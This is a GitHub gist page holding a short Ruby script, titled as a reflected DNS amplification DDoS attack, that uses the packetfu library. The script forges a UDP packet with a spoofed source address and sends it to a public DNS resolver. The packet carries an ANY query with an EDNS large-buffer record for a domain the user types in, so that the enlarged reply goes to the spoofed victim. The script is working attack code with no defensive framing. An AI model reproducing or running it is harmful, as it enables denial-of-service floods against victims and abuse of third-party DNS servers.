Skip to content

Instantly share code, notes, and snippets.

@hkparker
Last active August 29, 2015 13:57
Show Gist options
  • Save hkparker/9360862 to your computer and use it in GitHub Desktop.
Save hkparker/9360862 to your computer and use it in GitHub Desktop.
Reflected DNS amplified DDOS attack in ruby with packetfu
#!/usr/bin/env ruby
require 'rubygems'
require 'packetfu'
dns_query = PacketFu::UDPPacket.new
dns_query.ip_saddr = "10.0.2.15" # spoofed source address
dns_query.ip_daddr = "8.8.4.4" # DNS server to query
dns_query.udp_dst=53
dns_query.udp_src=rand(0xffff-1024) + 1024
puts "Domain to query for:"
name = gets.chomp.split(".")
dns_query.payload += "\x24\x1a\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01".force_encoding("ASCII-8BIT")
name.each do |part|
dns_query.payload += [part.size].pack('U').force_encoding("ASCII-8BIT")
dns_query.payload += part.force_encoding("ASCII-8BIT")
end
dns_query.payload += "\x00\x00\xff\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00".force_encoding("ASCII-8BIT")
dns_query.recalc
dns_query.to_w("eth0")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment